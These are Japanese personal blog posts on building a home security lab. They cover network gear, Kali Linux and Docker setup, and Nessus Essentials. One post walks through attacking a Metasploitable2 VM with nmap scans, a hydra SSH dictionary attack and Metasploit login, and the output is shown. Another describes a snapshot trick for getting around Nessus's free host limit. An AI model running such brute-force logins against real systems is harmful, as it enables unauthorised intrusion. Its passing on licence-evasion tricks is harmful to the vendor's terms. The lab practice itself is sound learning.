立ち話

興味があることを書いてます。正確な内容は公式ドキュメントや参考文献を確認してください。ブログに示された意見はすべて個人の見解であり、所属する組織の公式見解ではありません。

自宅インフラを育てる (1) ネットワークまわりの改造

はじめに

自宅に遊ぶための環境を作りたいな~と思ったので、色々買って自宅インフラを構築することにしました。

ここでは、ネットワークまわりの改造について書いています。

きっかけ

  • ホスト型の仮想環境を使って色々遊んでいたが、PCのスペック (メモリ、SSD) が足りず不便だった
  • ネットワークとかサーバまわりをもっと知りたい
  • 家のネットワークを整えたい
  • (サブスクは使いたくない。。。)

→ 家に自分で作ろう!!!

自宅インフラの要件

こんな感じの自宅インフラを目指したい。

  • 容易に拡張できる
    • 機器を増やすときにあまり面倒じゃない方がうれしい

→ 最初にネットワークの大枠を決めてしまう

  • 物理機器は最小限
    • 引っ越しの手間を考えると物理機器は少なければ少ないほど良い

→ 仮想サーバーを使う

初期環境

これまでの自宅ネットワークはこんな感じの構成だった。

従来の自宅ネットワーク構成

従来の自宅ネットワークの論理構成

従来のネットワーク機器

スペックとか

これまでの遊び方

  • Windows にゲームを入れて遊ぶ
    • 飽きっぽいからすぐ飽きる
  • Kali LinuxKVM仮想マシンを立てて遊ぶ
    • 途中でスペックが足りないことに気付く
    • 攻撃するマシンがホストOSだと色々不便

問題点とか

  • PCまわり
    • 環境を作って遊ぶにはPCのスペックが足りない
    • そもそもホスト型にするメリットがあまりない
  • ネットワークまわり
    • 使っている無線LANルーターが販売中止しているし変えたい
    • よくある自宅ネットワーク構成はつまらない
    • ネットワークまわりの勉強と改造をしたい

サーバー構築 & ネットワークまわりの改造

ネットワークまわりの改造

やったこと

  • 新しい (有線) ルーターを導入する
    • 1Gbps くらいほしい
    • VLAN まわりの操作が楽なのがいい

tp-link ER605Amazon 9,283円 (2022/8/21 購入)

  • 無線APを新しくする
    • 安定していて、管理者まわりの操作が容易なのがほしい

NEC Aterm WG1900HP2Amazon 7,399円 (2022/8/22 購入)

構成

新規ネットワーク構成

新規ネットワーク論理構成

新規ネットワーク機器 (ルーター)

新規ネットワーク機器 (無線AP)

まとめ

自宅インフラを育てる過程で、ネットワークまわりの改造を行った。

スイッチングハブとかNASとかもいずれ導入したい。

備忘録:Kali Linux 2022.2を入れた後の初期設定

1. 経緯

Windows10とLinuxデュアルブートして使っている。

見た目の綺麗さから Parrot OS を使っていたが、Login Loop が起こるようになってしまった。

community.parrotsec.org

解決策として挙げられていた方法を試しても解消されなかったため、Kali Linux をインストールすることにした。インストール手順は省略する1。 私はLinuxを使うのが好きだが、やらかして再インストールするということが多いので、インストール後の初期設定 (自分用) の備忘録を残すことにした。調べれば誰でもできるようなことをまとめて、なおかつ公開するのは自己満であるが、後からまた調べるのはめんどくさいので作ってみた感じである。

2. インストール後の初期設定

2.1 Metapackages のインストール

www.kali.org

インストールするときに Metapackages のインストールを選択するとエラーが出たので、後で apt で入れることにした。

sudo apt update && sudo apt -y upgrade
sudo apt install -y kali-linux-core kali-linux-default
sudo apt install -y kali-linux-everything

2.2 Nvidia driver のインストール

www.kali.org

マルチディスプレイにしているが、DVI接続している方のディスプレイが荒ぶっていたので、Nvidia driver をインストールした。

sudo apt update
sudo apt -y full-upgrade -y
[ -f /var/run/reboot-required ] && sudo reboot -f
lspci | grep -i vga
nvidia-detect
sudo apt install -y nvidia-driver nvidia-cuda-toolkit
sudo reboot -f

再起動後、荒ぶっていた方のディスプレイがまともになった。

2.3 日本語入力

cocolofun.co.jp

sudo apt install -y ibus-mozc ibus-anthy
sudo reboot -f

Application で ibus と調べ、Anthy または Mozc を追加する。

2.4 Chrome のインストール

Firefox から Chromedebファイルをダウンロード。

cd Downloads
sudo apt install ./google-*.deb

2.5 KVM のインストール

seekt.hatenablog.com

egrep -c '(vmx|svm)' /proc/cpuinfo
sudo apt -y install cpu-checker
sudo kvm-ok
sudo apt install -y qemu-kvm libvirt-daemon libvirt-clients bridge-utils virt-manager
sudo systemctl start libvirtd
sudo systemctl enable libvirtd

この時点で Virt-Manager が使えるようになり、仮想マシンの作成ができるようになる。

2.6 Docker Engine、Docker Compose のインストール

seekt.hatenablog.com

chmod 755 ./install_docker_kali.sh
./install_docker_kali.sh
sudo reboot -f

再起動後、dockerdocker-compose が使えるようになる。

2.7 VSCode のインストール

コーディングには VSCode を使っているので、インストールする。

code.visualstudio.com

cd Downloads
sudo apt install ./code_*.deb

2.8 Git と GitHub まわりの設定

qiita.com

git config --global user.name [username]
git config --global user.email [email]
ssh-keygen -t ed25519 -C [comment]
cat ~/.ssh/id_ed25519.pub

ターミナルに表示された公開鍵をコピーして、GitHub の Settings の SSH Keys に登録。

ssh -T git@github.com

2.9 KVM仮想マシンを作成

色々試して遊ぶために、以下のような環境を構築した。

構築した環境

2.9.1 Metasploitable3 の仮想マシンの作成

Metasploitable3 は vagrant で構築するので、KVMに移植するのが少しめんどくさい。vmdk とか ova とかで配布してほしい (失礼)。

以下の手順を踏んでKVMに移植した。

  1. Windowsvagrant を使って仮想マシンを作成。
  2. 作成した仮想マシンから vmdk を作成。
  3. vmdk を Kali に持ってくる。
  4. vmdkqcow2 に変換。

qcow2 への変換は、以下のコマンドで実現できる。

qemu-img convert -f vmdk -O qcow2 metasploitable3-ub1404-disk001.vmdk metasploitable3-ub1404.qcow2
qemu-img convert -f vmdk -O qcow2 metasploitable3-win2k8-disk001.vmdk metasploitable3-win2k8.qcow2

2.9.2 IPアドレスの固定 (Ubuntu)

blog.goo.ne.jp

/etc/network/interfaces を編集すればよい。

sudo cp /etc/network/interfaces /etc/network/interfaces.bk
sudo vi /etc/network/interfaces
sudo ifconfig eth0 down
sleep 10
sudo ifconfig eth0 up
sudo ifconfig eth1 down
sleep 10
sudo ifconfig eth1 up
sudo reboot

/etc/network/interfaces (変更前)

/etc/network/interfaces (変更後)

2.9.3 IPアドレスの固定 (Windows Server)

Network and Sharing Center → Local Area Connection * → TCP/IPv4 → Properties と進んで、IPアドレスを変更する。

IPアドレスの変更 (Windows)

2.10 Nessus Essentials の導入

seekt.hatenablog.com

Download Nessus | Tenable® からダウンロードする。Kali Linux なので、Nessus-10.2.0-debian9_amd64.deb をダウンロードする。

cd Downloads
sudo apt install -y ./Nessus-*.deb
sudo systemctl start nessusd
sudo systemctl enable nessusd

この後、https://localhost:8834 にアクセス。アクティベーションコードを入力して、Initializing が終了するのを待つ。

2.11 Pythonまわり

docs.python.org

Python は仮想環境で使うことにする。venvを使う。

sudo apt install -y python3-venv python3-pip

例として、~/.venvs を作成し、その中に ctf という仮想環境を作り、入る。

┌──(tcbn㉿kali)-[~]
└─$ mkdir ~/.venvs      
                                                                                                                                                                      
┌──(tcbn㉿kali)-[~]
└─$ python3 -m venv ~/.venvs/ctf
                                                                                                                                                                      
┌──(tcbn㉿kali)-[~]
└─$ source ~/.venvs/ctf/bin/activate            
                                                                                                                                                                      
┌──(ctf)─(tcbn㉿kali)-[~]
└─$ 

あとは pip で好きなパッケージをインストールしたり、コードを動かしたりする。

仮想環境から出るには、deactivate とする。

┌──(ctf)─(tcbn㉿kali)-[~]
└─$ deactivate              
                                                                                                                                                                      
┌──(tcbn㉿kali)-[~]
└─$ 

2.12 タスクスケジューラを使って自動更新

ichigopack.net

tateisu.hatenablog.com

sudo apt install -y cron-apt
sudo nano /etc/cron-apt/config                              

/etc/cron-apt/config は例えば以下のように設定する。

# Configuration for cron-apt. For further information about the possible
# configuration settings see /usr/share/doc/cron-apt/README.gz.
APTCOMMAND="/usr/bin/apt-get"
ACTIONDIR="/etc/cron-apt/action.d"
MAILTO="mail@sample.com"
MAILON="changes"
DEBUG="changes"
SYSLOGON="always"
OPTIONS="-o quiet=1"

次に、/etc/cron-apt/3-download を以下のように変更する (-d オプションを外す)。

変更前

autoclean -y
dist-upgrade -d -y -o APT::Get::Show-Upgraded=true

変更後

autoclean -y
dist-upgrade -y -o APT::Get::Show-Upgraded=true

3. まとめ

他にもいろいろ入れるものがある気がするので、気付いたら更新したいと思う。

余談だが、最近 script というコマンドの存在を知り、便利だなと思っている。


  1. Get Kali | Kali Linux の Bare Metal からISOを入手し、ブータブルUSBを作り、BIOSでブータブルUSBを選択し、手順にしたがってインストールする。デュアルブートのときは、どのSSDにインストールするかに注意する。

Kali Linux で Metasploitable2 に攻撃して遊んだ

1. はじめに

仕事で脆弱性スキャンをすることになりそうなので、仮想環境で練習しようと考えた。幸い、以前の記事で構築した KVM 環境があるので、これを利用しようと思う。今回は、Metasploitable 2 に対してポートスキャンをして、攻撃するという流れを実施し、備忘録としてまとめようと思う。 [1-3] を参考にしている。

実際に攻撃するにあたって、以下のことに気を付ける。

  1. 攻撃を行う際は、自分と他人の環境に迷惑をかけないようにすること。
  2. 脆弱性のある環境を外部に公開しないこと。

2. 環境構築

ここでは、以前の記事の『Nessusを適用するための仮想環境の構築 - 立ち話』で構築した KVM 環境を活用したいと思う。

攻撃対象の環境

上図のように Kali Linux仮想マシンとしてインストールして、2つのネットワークに接続している。

3. 攻撃 (SSHによる侵入)

ここでは、攻撃の例として、SSHによる侵入を考える。以下の手順で攻撃を行う。

  1. 攻撃端末で攻撃対象が接続しているサブネットに対して ping スキャンを行う。
  2. 攻撃端末で攻撃対象のホストに対してポートスキャンを行う。
  3. 攻撃端末で辞書式攻撃で SSH アカウントを解析する
  4. 攻撃端末で Metersploit module を使って攻撃対象にログインする

なお、ここでは攻撃端末と攻撃対象は以下のように設定している。

  • 攻撃端末: Kali Linux
  • 攻撃対象: Metasploitable2

ここでは、ホストOSから Kali Linux に対して SSH 接続して、SSH 接続したターミナルから操作することにする。

3.1 Ping スキャン

Ping スキャンとポートスキャンは、Nmap というツールを使用する。ポートスキャンは、開いているポート番号 (稼働しているサービス) を特定するため、Ping スキャンはホストを発見するために行う。

nmap -sn [target specification]

今回は、[1], [2] を参考に以下のように実施した。

┌──(tcbn㉿kali)-[~/Documents/Study_attack/ssh_login]
└─$ nmap -sn 192.168.100.0/24 > ping_scan_isolated
                                                                                
┌──(tcbn㉿kali)-[~/Documents/Study_attack/ssh_login]
└─$ cat ping_scan_isolated 
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-11 13:38 JST
Nmap scan report for N14xZU (192.168.100.1)
Host is up (0.0018s latency).
Nmap scan report for 192.168.100.161
Host is up (0.0014s latency).
Nmap scan report for kali.virtual_network (192.168.100.181)
Host is up (0.0015s latency).
Nmap done: 256 IP addresses (3 hosts up) scanned in 9.50 seconds

このスキャンの結果から、192.168.100.161 が攻撃対象の IP アドレスとわかる。

3.2 ポートスキャン

次に、192.168.100.161 の空いているポートを調べる。さらに、サービスのバージョンとOSの種類を特定する。

sudo nmap -sV -p- -O [IP address]
Nmapのオプション 概要
-p- 1番から65535番までのポート番号を対象にする
-sV ポートのサービスのバージョンを検出する
-O ターゲットのOSを特定する

今回は、以下のように実施した。

┌──(tcbn㉿kali)-[~/Documents/Study_attack/ssh_login]
└─$ sudo nmap -sV -p- -O 192.168.100.161 > port_scan_metasploitable

┌──(tcbn㉿kali)-[~/Documents/Study_attack/ssh_login]
└─$ cat port_scan_metasploitable | grep ssh
22/tcp    open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)

スキャン結果を見ると複数のポートが空いていることが分かる。気になるのはいくつかあるが、今回は ssh でログインできないかを確かめてみる。

3.3 辞書式攻撃によるSSHアカウントの解析

パスワードクラッカーの hydra を使用して、辞書式攻撃によりSSHアカウントを解析する [1]。

以下の user.lstpass.lst を作成し、hydra を用いて解析した。

解析結果は以下のようになった。

┌──(tcbn㉿kali)-[~/Documents/Study_attack/ssh_login]
└─$ hydra -L user.lst -P pass.lst -t 4 192.168.100.161 ssh > hydra_ssh
                                                                                
┌──(tcbn㉿kali)-[~/Documents/Study_attack/ssh_login]
└─$ cat hydra_ssh                          
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-06-11 14:00:57
[DATA] max 4 tasks per 1 server, overall 4 tasks, 80 login tries (l:8/p:10), ~20 tries per task
[DATA] attacking ssh://192.168.100.161:22/
[22][ssh] host: 192.168.100.161   login: sys   password: batman
[22][ssh] host: 192.168.100.161   login: msfadmin   password: msfadmin
[22][ssh] host: 192.168.100.161   login: user   password: user
1 of 1 target successfully completed, 3 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-06-11 14:01:24

ユーザ名とパスワードの組として、sys/batman, msfadmin/msfadmin, user/user が得られる。

3.4 SSH でのログイン

攻撃端末から攻撃対象に対して、SSHを使用してログインを行う [3]。

ユーザ名とパスワードの組のファイル (user_pass.txt) を作成し、Metersploit module で ssh_login ができるものを使用する。今回は、auxiliary/scanner/ssh/ssh_login を使用した。

msf6 > search ssh_login
msf6 > use 0
msf6 auxiliary(scanner/ssh/ssh_login) > set RHOSTS 192.168.100.161
RHOSTS => 192.168.100.161
msf6 auxiliary(scanner/ssh/ssh_login) > set USERPASS_FILE /home/tcbn/Documents/Study_attack/ssh_login/user_pass.txt
USERPASS_FILE => /home/tcbn/Documents/Study_attack/ssh_login/user_pass.txt
msf6 auxiliary(scanner/ssh/ssh_login) > set VERBOSE false
VERBOSE => false
msf6 auxiliary(scanner/ssh/ssh_login) > run
msf6 auxiliary(scanner/ssh/ssh_login) > sessions -i

実際に入ってみる。

msf6 auxiliary(scanner/ssh/ssh_login) > sessions -i 1
[*] Starting interaction with 1...

SSH msfadmin:msfadmin (192.168.100.161:22)
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue 
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
    link/ether 52:54:00:c2:34:d4 brd ff:ff:ff:ff:ff:ff
    inet 192.168.100.161/24 brd 192.168.100.255 scope global eth0
    inet6 fe80::5054:ff:fec2:34d4/64 scope link 
       valid_lft forever preferred_lft forever
exit

[*] 192.168.100.161 - Command shell session 1 closed.  Reason: User exit

SSHでログインできて、msfadmin/msfadmin の権限でコマンドを実行できていることが分かる。

画面が小さくて少しわかりにくいが、攻撃端末で攻撃対象に対してSSHログインしているときは、攻撃対象側の22番ポートは ESTABLISHED になっていることが分かる。

4. まとめ

脆弱性のある仮想マシン (Metasploitable2) に対してポートスキャンをして、Metersploit module を使用して攻撃 (侵入) を行ってみた。

もっとできることは多いと思うので、これから本を読んだり検索したりして色々試してみたいと思う。

References

[1] IPUSIRON、ハッキング・ラボのつくりかた 仮想環境におけるハッカー体験学習、翔泳社、2018

[2] 黒林檎、村島正浩、ハッカーの技術書、DATAHOUSE、2020

[3] Scanner SSH Auxiliary Modules - Metasploit Unleashed、閲覧日: 2022/6/11

Ubuntu20.04 に Docker Container として Kali Linux を導入して、GUIで使いたい

1. はじめに

とある事情で Kali Linux を入れる必要があったので、現在使っているノートパソコン (Ubuntu20.04) とデュアルブートしようとしていたが、何故かインストールがうまくいかなかった。そのため、Docker Container として環境を構築してみる。

ここでは、以下3つの要件を満たすようにしたい。

  1. Kali Linux の基本的なツールが使える (CUI)
  2. ノートパソコンが接続しているサブネットと同一のサブネットの機器と通信可能
  3. (可能であれば) GUIで使う

2. 準備

Docker Engineをインストールする。私は Ubuntu を使用しているので、コマンドラインから Docker をインストールする。インストールのためのシェルスクリプトを作成した1

上記シェルスクリプトの実行後、再起動をすると Docker Engine が使えるようになる。

Ubuntu18.04および20.04で動作することを確認している。スクリプトは私のGitHubリポジトリにも上げている2

3. Kali Linux の導入

3.1 イメージファイルのダウンロード

Kali Linux では、Docker Hub に公式の Docker Image を上げているそうなので、それを利用する (Official Kali Linux Docker Images | Kali Linux Documentation)。

Docker Hub の kalilinux/kali-rolling がデフォルトのイメージなので、これを使う。

docker pull をする。

docker pull kalilinux/kali-rolling

3.2 ネットワークの作成

Docker Container が接続するネットワークを作成する。ここでは、kali-network という名前のネットワークを作成する。

docker network create kali-network

上記コマンドでネットワーク作成後、docker network ls をすると、

tcbn@N14xZU:~$ docker network ls
NETWORK ID     NAME           DRIVER    SCOPE
8b1cc3352942   bridge         bridge    local
9aa1455f82a9   host           host      local
03cbc1bfd02b   kali-network   bridge    local
2f4c77efe200   none           null      local

のようになる。

3.3 コンテナの作成

まずは、要件1と2が満たされるようなコンテナを作成してみる3

docker run -dit --network kali-network -v "$PWD":/root/workspace/ -w /root/workspace/ --name kali-docker-cui kalilinux/kali-rolling:latest

このコマンドを実行すると、kalilinux/kali-rolling:latest をもとにコンテナが作成される。

各オプションの意味を以下の表に示す。

Option Meaning
-dit コンテナをバックグラウンドで実行させる (デタッチモード)
--network [network_name] Dockerネットワークを [network_name] で指定する
-v [local_path]:[container_path] [local_path]で指定されたボリュームをコンテナ内の[container_path]にマウントする
-w [workspace_path] コンテナ内のワークスペース[workspace_path] にする
--name [container_name] コンテナの名前を [container_name] にする

次に、コンテナ内部に入る。

docker exec -it kali-docker-cui /bin/bash

上記コマンドを実行すると、コンテナ内に入ることができる。

基本的なツールを使うためには、kali-linux-default をインストールすれば良いらしい (Kali Linux Metapackages | Kali Linux Documentation )。また、ping等も使えなかったので、インストールしておく4

apt-get update
apt-get -y install kali-linux-default iputils-ping net-tools

かなり時間がかかるので、暇なときや寝る前などに行うことを推奨する。途中何度かyes or noや番号で答える箇所があるが、英語を読んで良さそうな選択肢を選べばよい。

インストールが完了したら、Kali Linux のツールを使えるか確認する。例えば、msfconsole が使えるかを確認する。

また、ノートパソコンが接続しているサブネットと同一のサブネットの機器と通信可能かどうかを確かめる。ホスト側のIPアドレスを調べ、そのサブネットに接続できるかを確認する。

ping [IP address]

ここまでで要件1と2が満たされることが確認できた。

一旦 bash から抜けて、コンテナをイメージとして保存する。

exit
docker commit kali-docker-cui kali-docker-cui:v0.1
docker image ls | grep kali-docker-cui

保存し終えたことを確認したら docker stop でコンテナを停止し、docker rm でコンテナを削除する。

docker stop kali-docker-cui
docker rm kali-docker-cui

先ほど作成した kali-docker-cui からコンテナが作成できることが確認できる。

tcbn@N14xZU:~/Documents/Docker/kali_linux$ docker run -dit --network kali-network -v "$PWD":/root/workspace/ -w /root/workspace/ --name kali-docker-cui kali-docker-cui:v0.1 
90fe363923da00ef573ff45e3a58b85d4d83fa7a9602af4c4556880e68badaf7
tcbn@N14xZU:~/Documents/Docker/kali_linux$ docker exec -it kali-docker-cui /bin/bash
┌──(root㉿90fe363923da)-[~/workspace]
└─# 

4. GUIで使う

GUIとして利用するには、VNCがインストールされたイメージファイルを使う。いくつかのイメージファイルがあるが、ここでは iphoneintosh/kali-docker を使う。まずはデスクトップが使えるかテストする。

docker pull iphoneintosh/kali-docker:latest
docker run --rm -it -p 9020:8080 -p 9021:5900 iphoneintosh/kali-docker:latest

このコマンド実行後に、https://localhost:9020/vnc.html にアクセスすると、GUIとして表示される。パスワードはデフォルトで changeme となっているようだ。

このままでは Kali の基本的なツールが使えないので、3.3 と同様にインストールする。

一旦 exit でコンテナを抜けて (--rmオプションをつけているので、削除される)、ネットワーク、コンテナ名、ボリュームなどを指定して新しいコンテナを作成し、3.3と同様に基本的なツールをインストールする。コンテナ作成時は例えば、以下のように指定する。

tcbn@N14xZU:~/Documents/Docker/kali_gui$ docker run -it --network kali-network -v "$PWD":/root/workspace/ -w /root/workspace/ --name kali-docker-gui -p 9020:8080 -p 9021:5900 iphoneintosh/kali-docker:latest

そして、3.3と同様に、

apt-get update
apt-get -y install kali-linux-default iputils-ping net-tools

を実行する5。 基本的なツールは使うことができるようである (Wiresharkなど起動しないものもあった)。VNCクライアントから接続しようと思ったが、接続できなかったので今回は諦めた。ブラウザで接続することにする。

5. まとめ

ここでは、Docker Container として Kali Linux を導入する方法をまとめた。公式が Kali Linux のイメージを作っていてくれているのは大きい。

GUI の方は有志の方が作ってくださっていた。ありがたい。


  1. 参考: Docker Engine のインストールと使用法(Ubuntu 上)

  2. TIL/install_docker.sh at main · tcbn-ai/TIL · GitHub

  3. 追記: Ubuntu側のホームディレクトリをマウントしていたことに途中で気付き、新しくコンテナを作成し直したので、途中からIDが変わっている。

  4. 参考: docker イメージの中にpingとかないとき

  5. 後で気付いたが、default tools をインストールしたものを用意してくれていたので、iphoneintosh/kali-docker:default を指定すれば良かった。

KVM 上の Ubuntu20.04 に Nessus Essentials を入れて色々試す

1. はじめに

前の記事で仮想環境を構築した1。今回はこの仮想環境に対してNessusを適用するために、仮想環境上のUbuntu20.04に nessus essentials をインストールする。nessus essentials は、スキャンできるIPが16個までという制限があるが、基本的に商用版と同じ機能を使うことができるらしい。 使う前に、nessus essentials について生じた疑問点を挙げる。

  1. Nessusのインストール後、インストール前に作成したスナップショットに戻って再度 nessus をインストールするときに、最初のインストールで使用した activation code は2回目のインストールで使用できるのか?
  2. Nessus のスキャン後に同一のMACアドレスの機器にIPアドレスを振り直して再度スキャンすると、登録されたホスト (IPアドレス) の個数はどのように変化するのか?
  3. 同じメールアドレスでアクティベーションコードを取得し直すと、登録されたホスト (IPアドレス) の個数はどのように変化するのか?
  4. 登録されたIPアドレスの数を0に戻す方法はあるのか?

この記事では、以上4つの疑問点を解消するために色々試していく。

2. 準備

2.1 アクティベーションコードの入手方法

tenableのサイト で名前とメールアドレスを入力して送信すると、入力したメールアドレス宛にアクティベーションコードが送られてくる。

Activation code

2.2 ダウンロード方法

ダウンロードサイト から、自分のOSに合うものをダウンロードする。今回 nessus essentials をインストールする仮想マシンの OS は Ubuntu 20.04 なので、Nessus-10.1.2-ubuntu1110_amd64.deb をダウンロードする。

nessus のダウンロード

この時点のスナップショットを作成しておく。

スナップショット (nessus のインストール前)

3. nessus essentials に対する疑問点の解消

3.1 スナップショットを使用したときのアクティベーションコードの扱い

送られてくるアクティベーションコードの説明には、

This is a one-time code. If you uninstall and then reinstall you will need to register the scanner again and receive another activation code.

とあった。これは、スナップショットを使ったときも同様なのか、ということが気になったので、インストールしながら試したいと思う。

3.1.1 インストール

インストール方法について、日本語でまとめてくださっている記事があるので、この記事を参考にしながらインストールをする2apt を使ってインストールする。

sudo apt install ./Nessus-10.1.2-ubuntu1110_amd64.deb 

インストール後、以下のように出力される。

Created symlink /etc/systemd/system/nessusd.service → /lib/systemd/system/nessus
d.service.
Created symlink /etc/systemd/system/multi-user.target.wants/nessusd.service → /l
ib/systemd/system/nessusd.service.

 - You can start Nessus Scanner by typing /bin/systemctl start nessusd.service
 - Then go to https://vm-ubuntu:8834/ to configure your scanner

次に、nessusd.service を起動する。

sudo systemctl start nessusd

そして、ブラウザから https://localhost:8834/ にアクセスする。

localhost へのアクセス

このように警告が出されるが、Advanced をクリックし、Accept the Risk and Continue とすると、以下のようなセットアップ画面になる。

nessus のセットアップ

アクティベーションの登録をスキップすると、アクティベーションコードの登録画面が出てくる。そこに、先程入手したアクティベーションを入力する。

Activation code

ユーザアカウントを作成するために、ユーザ名とパスワードを入力する。

ユーザアカウントの作成

プラグインの初期化画面に遷移する (仮想マシンの設定によってはかなり時間がかかる。私の環境では30分以上かかった)。

プラグインの初期化

これでインストールが完了する。

Nessus のインストールの完了

この状態でスナップショットを作成する。

スナップショット (nessus のインストール後)

3.1.2 スナップショットを使う

スナップショットを使ってインストール前に戻った際に、同じアクティベーションコードを使ってインストールを進めることができるかどうかを実験する。インストール終了後にスナップショットを作成し、仮想マシンをシャットダウンする。そして、インストール前のスナップショットに戻り、同じアクティベーションコードを入力してインストールを進めてみる。

スナップショットを使う

スナップショットを使ってみたところ、同じアクティベーションコードを使ってインストールを進めることができた。

結果: Nessusのインストール後、インストール前に作成したスナップショットに戻って再度 nessus をインストールするときに、最初のインストールで使用した activation code は2回目のインストールでも使用できる。

3.2 スキャン後に同一のMACアドレスの機器にIPアドレスを振り直す

実際にスキャンをしてみる。1台もスキャンしない状態では、nessus に登録されているホストの数は0である。

nessus のスキャン前の状態

3.2.1 脆弱性スキャンの実施

ここでは、Basic Network Scan を metasploitable に対して実施する。

metasploitable2 の仮想マシンを起動し、ubuntu20 から metasploitable に対してスキャンを行う。

スキャン名と target の IPアドレスを以下のように設定する。

nessus のスキャン設定

次に、Credentials でホストに対して ssh のログイン情報を追加する。今回は、IDおよびパスワードが公開されているので、それを用いる。

nessus のスキャン設定 (2)

このように設定した上で、スキャンを実行する。

スキャンの実行

スキャンの実行後、レポートを出力し、スナップショットを取得する。

スキャン結果

また、この時点でホスト数は1になっていることが分かる。

スキャン後のホスト数

3.2.2 IPアドレスを変更して再度スキャンする

IPアドレス192.168.100.161 から 192.168.100.162 に変更してスキャンを行う。

IP アドレスの変更

(ここはもっと良い方法があるかもしれない)

virsh net-update [network name] delete ip-dhcp-host '<host mac=[mac address] ip=[ip address]/>' --live --config

を root 権限で実行し、一度固定した IPの設定を解除する。その上で、

virsh net-update [network name] add ip-dhcp-host '<host mac=[mac address] ip=[new ip address]/>' --live --config

として、新しく固定するIPを加える。そして、

virsh domif-setlink [guestname] [mac address] down
sleep 10
virsh domif-setlink [guestname] [mac address] up

として、自分のマシンに反映させる。これでうまくいかなかった場合 (私はうまくいかなかった) は、ホストOS自体を再起動する3

スキャン

IPアドレス192.168.100.162 にした上で再度スキャンを行う。

nessus スキャンの際に IPアドレスを変更する

スキャン後にアカウントを見てみると、IPアドレスが追加されていることがわかる。

IPアドレス変更後にスキャン

結果: Nessus のスキャン後に同一のMACアドレスの機器にIPアドレスを振り直して再度スキャンすると、登録されたホスト (IPアドレス) の個数は増加する。

3.3 同じメールアドレスでアクティベーションコードを取得し直す

nessus essentials にログインした際の画面を見ると、Activation code を編集できるようになっている。この activation code を変更すると、Licensed Hosts の数はどのように変化するのか確かめたい。

次の2つの場合を試してみる。

  1. nessus essentials をアンインストールせずに、activation code のみを変更する。
  2. nessus essentials をアンインストールし、再度 deb からインストールした上で、activation code を変更する。

3.3.1 nessus essentials をアンインストールしない場合

nessus essentials をアンインストールせずに、Activation code のみを変更する。

Activation code を入れ直す

Activation code の変更後、ログインすると、Licensed Hosts の数は変化していないことがわかる。

Activation code の変更のみをしてログインした場合

3.3.2 nessus essentials をアンインストールする場合

nessus essentials のアンインストールについては、tenable Documentation 参照4

sudo systemctl stop nessusd

nessusd.service を停止し、

sudo apt remove nessus

でアンインストールする。アンインストール後は、https://localhost:8834/ でアクセスしても何も立ち上がらない。

Nessus のアンインストール後のブラウザ

アンインストール後にスナップショットを作成し、再度 deb からインストールする。

sudo apt install ./Nessus-10.1.2-ubuntu1110_amd64.deb
sudo systemctl start nessusd

再インストール後、セットアップ画面にはならず、Username と Password を入れる画面になった。ログインすると先程と同様、ホスト数は2だった。

再インストール後の状況

この状態で、同じメールアドレスで新しく activation code を取得したものを入力してもホスト数は変わらなかった。

結果: Nessus をアンインストールしてもしなくても、同じメールアドレスで新しく activation code を取得した場合は登録されたホスト数は変わらない。

3.4 登録された IP アドレスを0に戻す方法

ここでは、思いつく限りの方法で登録された IP アドレスの個数を 0 にしようとする。

  1. メールアドレスを変えて activation code を取得する
  2. スナップショットの活用
  3. 新しい仮想マシンの作成

3.4.1 メールアドレスの変更

メールアドレスを変更して新しい activation code を取得し、入力するとどうなるかということを試す。

メールアドレスを変えて activation code を入手した場合

ここまでの展開で予想はできたが、メールアドレスを変更して新しい activation code を入手しても、ホスト数は変わらなかった。

3.4.2 スナップショットの活用

インストール直後に作成したスナップショットの時点まで戻れば、IPアドレスの個数は0であるだろう。

スナップショットでインストールした時点に戻った場合

実際、この時点に戻ると、登録されているホスト数は0であった。

スナップショットを利用すると、面白いことができてしまう。

  1. インストール後にスナップショットを作成し、スキャンを行う。
  2. スキャン後に、結果 (nessus) を出力 (export) し、スナップショットを作成する。
  3. 仮想マシンにある結果をホストOSに送る。
  4. インストール直後のスナップショットに戻り、ホストOSから結果を仮想マシンに送る。
  5. 結果をインポートする。

インポートすると、Nessus 側では実施したスキャン結果を見ることができる。

インポートしたスキャン結果

このとき、ホスト数は0のままである。

スキャン結果をインポートした後のホスト数

つまり、スナップショットを使うことによって、ホスト数を気にせずにスキャンを行うことができる。

3.4.3 新しい仮想マシンの作成

スナップショットを活用しないまま進めてしまい、登録できるホスト数で詰まってしまうこともあるかもしれない。そんなときは、思い切って新しい仮想マシンを作成する、ということを考える。流石に新しい仮想マシンまでは IP アドレスの制限はなされないだろう。ここではメールアドレスは同じものを用いた場合で試してみる。

新しい仮想マシンで nessus をインストールし、https://localhost:8834/ にアクセスすると、(当然だが) 初めてインストールしたときのようにアクティベーションの入力、ユーザ名とパスワードの登録の画面が出てきて、初期化の画面に遷移した。

新しい仮想マシンに nessus を入れた場合

しばらく待ってから確認すると、ホスト数は0だった。

新しい仮想マシンに nessus を入れた場合のホスト数

4. まとめ

今回の検証で分かったことを示す。

  • Nessusのインストール後、インストール前に作成したスナップショットに戻って再度 nessus をインストールするときに、最初のインストールで使用した activation code は2回目のインストールでも使用できる。
  • Nessus のスキャン後に同一のMACアドレスの機器にIPアドレスを振り直して再度スキャンすると、登録されたホスト (IPアドレス) の個数は増加する。
  • Nessus をアンインストールしてもしなくても、同じメールアドレスで新しく activation code を取得した場合は登録されたホスト数は変わらない。
  • メールアドレスを変更して新しい activation code を入手しても、ホスト数は変わらない。
  • スナップショットの活用が有効。
  • 新しい仮想マシンを作成し、登録済みのメールアドレスに activation code を送り、そのアクティベーションコードを利用してインストールすると、新しくインストールされた nessus のホスト数は0である。

ホスト数に関しては、以下の表のようにまとめられる。

行動 ホスト数
